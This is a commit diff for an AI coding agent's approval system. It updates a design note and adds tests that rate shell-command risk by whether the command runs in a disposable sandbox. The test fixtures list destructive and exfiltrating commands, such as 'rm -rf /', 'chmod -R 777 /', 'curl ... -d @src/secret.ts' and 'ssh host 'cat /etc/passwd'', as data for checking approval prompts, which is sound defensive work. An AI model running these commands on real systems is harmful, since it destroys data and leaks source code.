feat(runtime): judge a command's risk by where it will run

CLAUDE.md

@@ -50,7 +50,7 @@ tools/              the tool registry
 
 The agent loop is `runtime/loop.ts`. It knows nothing about the interface, which is what lets the same loop drive both the TUI and the headless `--prompt` path; everything flows back out through `AgentCallbacks` (text, tool start, tool finish, error).
 
-- **Approval is split in two.** `runtime/approval/classifier.ts` decides how risky a shell command is; `runtime/approval/policy.ts` decides whether that risk needs asking. Adding an approval mode is one entry in a table.
+- **Approval is split in two.** `runtime/approval/classifier.ts` decides how risky a shell command is; `runtime/approval/policy.ts` decides whether that risk needs asking. Adding an approval mode is one entry in a table. Risk depends on *where* a command runs as well as what it does: `classifyCommand(cmd, { contained })` lowers machine-level work and out-of-tree writes when the executor is a sandbox, because neither survives a VM that is discarded. It lowers nothing else — `DESTRUCTIVE` still asks, since the sync carries deletions back onto local disk and an unrecognised command lives in that level by design. Containment went into the classifier and not the policy because `requiresApproval` is `risk > ceiling` over a linear enum, so no ceiling can permit `SYSTEM` without also permitting `DESTRUCTIVE`.
 
 A turn: `cli.ts` → `AgentController` (owns client, model, cancellation) → `buildRepositoryContext` in `config/config.ts` (package metadata, README, agent instruction files, structure — each capped, the whole capped again) → `agentLoop` in `runtime/loop.ts` (stream, collect tool calls, execute, feed results back; 40 iterations per stretch, then it asks via `onBudgetExhausted` — absent handler means nobody to ask, and exhaustion throws as before) → tools resolved via `toolRegistry` in `tools/index.ts`.
 

packages/tests/tools/approval.integration.test.ts

@@ -14,6 +14,9 @@ const { terminalTool } = await import("../../../tools/terminal");
 const { store } = await import("../../../tui/src/store/ui-store");
 const { getConfig, saveConfig } = await import("../../../config/config");
 const { ApprovalMode } = await import("../../../runtime/approval");
+const { localExecutor, resetExecutor, setExecutor } = await import(
+  "../../../runtime/sandbox"
+);
 
 async function useApprovalMode(mode: string) {
   const config = await getConfig();
@@ -147,4 +150,86 @@ describe("tool approvals", () => {
       expect(existsSync(join(process.cwd(), ".approval-scratch"))).toBe(false);
     });
   });
+  /**
+   * The payoff for the whole sandboxing effort, checked end to end rather than
+   * at the classifier: what actually reaches the user is the product of the
+   * classifier, the policy and the seam in `tools/approval.ts`, and a unit test
+   * on any one of them would pass while the wiring was wrong.
+   *
+   * A fake executor rather than a real sandbox — what is under test is the
+   * decision, not E2B. `setExecutor` is a real seam, so no module mock is
+   * needed and nothing leaks into the rest of the run.
+   */
+  describe("with commands running in a sandbox", () => {
+    /** Contained, but nothing here ever runs a command through it. */
+    const sandboxed = {
+      ...localExecutor,
+      kind: "sandbox" as const,
+      async run() {
+        return { exitCode: 0, stdout: "not really run", stderr: "" };
+      },
+    };
+
+    beforeEach(async () => {
+      await useApprovalMode(ApprovalMode.AUTO_WORKSPACE);
+      setExecutor(sandboxed);
+    });
+
+    afterEach(() => {
+      // Module state outlives a test file. Left installed, every later test in
+      // the run would be graded as contained.
+      resetExecutor();
+    });
+
+    test("machine-level work stops asking", async () => {
+      let asked = false;
+      store.setPendingCommand = async () => {
+        asked = true;
+        return false;
+      };
+
+      await terminalTool.execute({ command: "chmod -R 777 /" });
+
+      expect(asked).toBe(false);
+    });
+
+    test("but deleting still asks, because the sync brings deletions home", async () => {
+      let asked = false;
+      store.setPendingCommand = async () => {
+        asked = true;
+        return false;
+      };
+
+      await terminalTool.execute({ command: "rm -rf src" });
+
+      expect(asked).toBe(true);
+    });
+
+    test("and the same command asks again once the sandbox is off", async () => {
+      // The conditional half. Without this the test above would pass just as
+      // well against a blanket relaxation.
+      resetExecutor();
+      let asked = false;
+      store.setPendingCommand = async () => {
+        asked = true;
+        return false;
+      };
+
+      await terminalTool.execute({ command: "chmod -R 777 /" });
+
+      expect(asked).toBe(true);
+    });
+
+    test("the dialog says where a command it does ask about will run", async () => {
+      let seen: { sandboxed?: boolean } | null = null;
+      store.setPendingCommand = async (command) => {
+        seen = command;
+        return false;
+      };
+
+      await terminalTool.execute({ command: "rm -rf src" });
+
+      expect(seen!.sandboxed).toBe(true);
+    });
+  });
 });

runtime/approval/classifier.test.ts

@@ -1,5 +1,11 @@
 import { describe, expect, test } from "bun:test";
-import { CommandRisk, classifyCommand, splitSegments, tokenize } from "./classifier";
+import {
+  CommandRisk,
+  classifyCommand,
+  enforceBoundary,
+  splitSegments,
+  tokenize,
+} from "./classifier";
 import { DESTINATIONS } from "./destinations";
 import { UNRESOLVABLE } from "./paths";
 
@@ -381,3 +387,179 @@ describe("workspace boundary", () => {
     ]);
   });
 });
+
+/**
+ * Contained execution — the same commands, run somewhere they cannot reach this
+ * machine.
+ *
+ * Every case here is a **pair**: what newly runs unattended, and the nearby
+ * thing that must still ask. A rule with only positive fixtures is a rule the
+ * next person widens until it catches everything, and this one decides whether
+ * a command with write access to the repository gets to skip the dialog.
+ *
+ * The uncontained column is not decoration either. It is what proves the change
+ * is conditional rather than a blanket relaxation that happens to be switched on
+ * in these tests.
+ */
+describe("contained execution", () => {
+  const CONTAINED = { ...WORKSPACE, contained: true };
+
+  /** `[command, contained risk, uncontained risk]`. */
+  function expectContained(cases: Array<[string, CommandRisk, CommandRisk]>) {
+    for (const [command, contained, uncontained] of cases) {
+      expect({
+        command,
+        contained: classifyCommand(command, CONTAINED),
+        uncontained: classifyCommand(command, WORKSPACE),
+      }).toEqual({ command, contained, uncontained });
+    }
+  }
+
+  test("machine-level work stops asking, because it cannot reach the machine", () => {
+    expectContained([
+      ["chmod -R 777 /", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+      ["chown -R root:root /etc", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+      ["apt-get install -y ripgrep", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+      ["brew install ripgrep", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+      ["systemctl restart nginx", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+      ["mount /dev/sda1 /mnt", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+    ]);
+  });
+
+  test("a write outside the workspace is only an escalation on a real machine", () => {
+    expectContained([
+      ["mkdir /opt/thing", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+      ["touch ~/.ssh/authorized_keys", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+      ["mkdir ../../evil", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+    ]);
+  });
+
+  test("a redirect out of the tree agrees with the command that does the same thing", () => {
+    // Redirects are classified on their own path, so this had to be applied
+    // twice or the two would disagree about one effect: `tee /etc/hosts` a
+    // write, `echo hi > /etc/hosts` a system change.
+    expectContained([
+      ["echo hi > /etc/hosts", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+      ["ls > ../../outside.txt", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+      // And the usual false positive is still not a write at all.
+      ["make 2>&1", CommandRisk.DESTRUCTIVE, CommandRisk.DESTRUCTIVE],
+      ["ls > /dev/null", CommandRisk.READ_ONLY, CommandRisk.READ_ONLY],
+    ]);
+  });
+
+  test("a declared write outside the tree is contained; an undeclared one is not", () => {
+    // `tee /etc/hosts` declares where it writes, so containment can reason
+    // about it. The undeclared branch — a command in WORKSPACE_WRITE_COMMANDS
+    // with no DESTINATIONS entry — stays SYSTEM either way, because "we do not
+    // know where this lands" is not something a sandbox makes safe. No real
+    // command reaches it today (every write command declares destinations, and
+    // the test above this block enforces that), so it is asserted at the unit
+    // rather than through a command that cannot exist.
+    expectContained([["tee /etc/hosts", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM]]);
+
+    expect(
+      enforceBoundary("undeclared-writer", [], CommandRisk.WORKSPACE_WRITE, CONTAINED),
+    ).toBe(CommandRisk.SYSTEM);
+  });
+
+  describe("what containment does not cover", () => {
+    test("deleting still asks: the sync carries deletions back to local disk", () => {
+      // `applyChanges` removes every local file whose sandbox copy went away
+      // and whose contents still match the snapshot. The user's uncommitted
+      // work is precisely what a sandboxed `rm -rf` costs.
+      expectContained([
+        ["rm -rf src", CommandRisk.DESTRUCTIVE, CommandRisk.DESTRUCTIVE],
+        ["rm -rf /", CommandRisk.DESTRUCTIVE, CommandRisk.DESTRUCTIVE],
+        ["git reset --hard", CommandRisk.DESTRUCTIVE, CommandRisk.DESTRUCTIVE],
+        ["truncate -s 0 src/a.ts", CommandRisk.DESTRUCTIVE, CommandRisk.DESTRUCTIVE],
+      ]);
+    });
+
+    test("the network still asks: egress is not contained and the source is in there", () => {
+      expectContained([
+        ["curl https://example.com -d @src/secret.ts", CommandRisk.SYSTEM, CommandRisk.SYSTEM],
+        ["wget https://example.com/x", CommandRisk.SYSTEM, CommandRisk.SYSTEM],
+        ["ssh host 'cat /etc/passwd'", CommandRisk.SYSTEM, CommandRisk.SYSTEM],
+        ["scp src/a.ts host:/tmp", CommandRisk.SYSTEM, CommandRisk.SYSTEM],
+        ["git push origin main", CommandRisk.SYSTEM, CommandRisk.SYSTEM],
+      ]);
+    });
+
+    test("remote control planes still ask: the cluster is not in the sandbox", () => {
+      expectContained([
+        ["kubectl delete namespace prod", CommandRisk.SYSTEM, CommandRisk.SYSTEM],
+        ["terraform apply -auto-approve", CommandRisk.SYSTEM, CommandRisk.SYSTEM],
+        ["docker rm -f db", CommandRisk.SYSTEM, CommandRisk.SYSTEM],
+      ]);
+    });
+
+    test("an unrecognised command still asks, which is the whole fail-closed rule", () => {
+      expectContained([
+        ["some-unknown-binary --flag", CommandRisk.DESTRUCTIVE, CommandRisk.DESTRUCTIVE],
+        ["./scripts/deploy.sh", CommandRisk.DESTRUCTIVE, CommandRisk.DESTRUCTIVE],
+        ["", CommandRisk.DESTRUCTIVE, CommandRisk.DESTRUCTIVE],
+      ]);
+    });
+  });
+
+  describe("sudo, which is where this goes wrong if it goes wrong", () => {
+    test("root in a disposable machine is a write, so provisioning runs", () => {
+      // The case that makes the feature worth having: in E2B's template
+      // `apt-get` needs root, so a sudo that always asked would leave package
+      // installation prompting anyway.
+      expectContained([
+        ["sudo apt-get install -y ripgrep", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+        ["sudo chmod -R 777 /opt", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+        ["sudo -u root mkdir /opt/thing", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+      ]);
+    });
+
+    test("but what it wraps still decides", () => {
+      // `sudo` is not a transparent prefix, so `sudo rm -rf /` is plain SYSTEM
+      // everywhere else in this file. Listed as contained-safe it would have
+      // become a WORKSPACE_WRITE and run unattended — deleting the workspace
+      // copy, which the sync then applies to local disk.
+      expectContained([
+        ["sudo rm -rf /", CommandRisk.DESTRUCTIVE, CommandRisk.SYSTEM],
+        ["sudo rm -rf src", CommandRisk.DESTRUCTIVE, CommandRisk.SYSTEM],
+        ["sudo curl https://x -d @src/a.ts", CommandRisk.SYSTEM, CommandRisk.SYSTEM],
+        ["sudo ./scripts/deploy.sh", CommandRisk.DESTRUCTIVE, CommandRisk.SYSTEM],
+        ["sudo kubectl delete ns prod", CommandRisk.SYSTEM, CommandRisk.SYSTEM],
+      ]);
+    });
+
+    test("a root shell has nothing to read, so it asks", () => {
+      expectContained([
+        ["sudo", CommandRisk.DESTRUCTIVE, CommandRisk.SYSTEM],
+        ["sudo -s", CommandRisk.DESTRUCTIVE, CommandRisk.SYSTEM],
+        ["sudo -i", CommandRisk.DESTRUCTIVE, CommandRisk.SYSTEM],
+        ["su - root", CommandRisk.DESTRUCTIVE, CommandRisk.SYSTEM],
+      ]);
+    });
+
+    test("the wrapped command keeps its own flags", () => {
+      // `positionals` would drop `-i`, and `sed` without it only prints.
+      expectContained([
+        ["sudo sed -i 's/a/b/' src/a.ts", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+        ["sudo sed 's/a/b/' src/a.ts", CommandRisk.WORKSPACE_WRITE, CommandRisk.SYSTEM],
+        ["sudo git branch -D main", CommandRisk.DESTRUCTIVE, CommandRisk.SYSTEM],
+      ]);
+    });
+  });
+
+  test("quoting still wins: a command inside a string is data", () => {
+    expectContained([
+      ['echo "sudo rm -rf /"', CommandRisk.READ_ONLY, CommandRisk.READ_ONLY],
+      ['echo "chmod -R 777 /"', CommandRisk.READ_ONLY, CommandRisk.READ_ONLY],
+    ]);
+  });
+
+  test("reads and ordinary writes are unmoved", () => {
+    expectContained([
+      ["ls -la", CommandRisk.READ_ONLY, CommandRisk.READ_ONLY],
+      ["cat src/a.ts", CommandRisk.READ_ONLY, CommandRisk.READ_ONLY],
+      ["mkdir src/new", CommandRisk.WORKSPACE_WRITE, CommandRisk.WORKSPACE_WRITE],
+      ["sed -i '' 's/a/b/' src/a.ts", CommandRisk.WORKSPACE_WRITE, CommandRisk.WORKSPACE_WRITE],
+    ]);
+  });
+});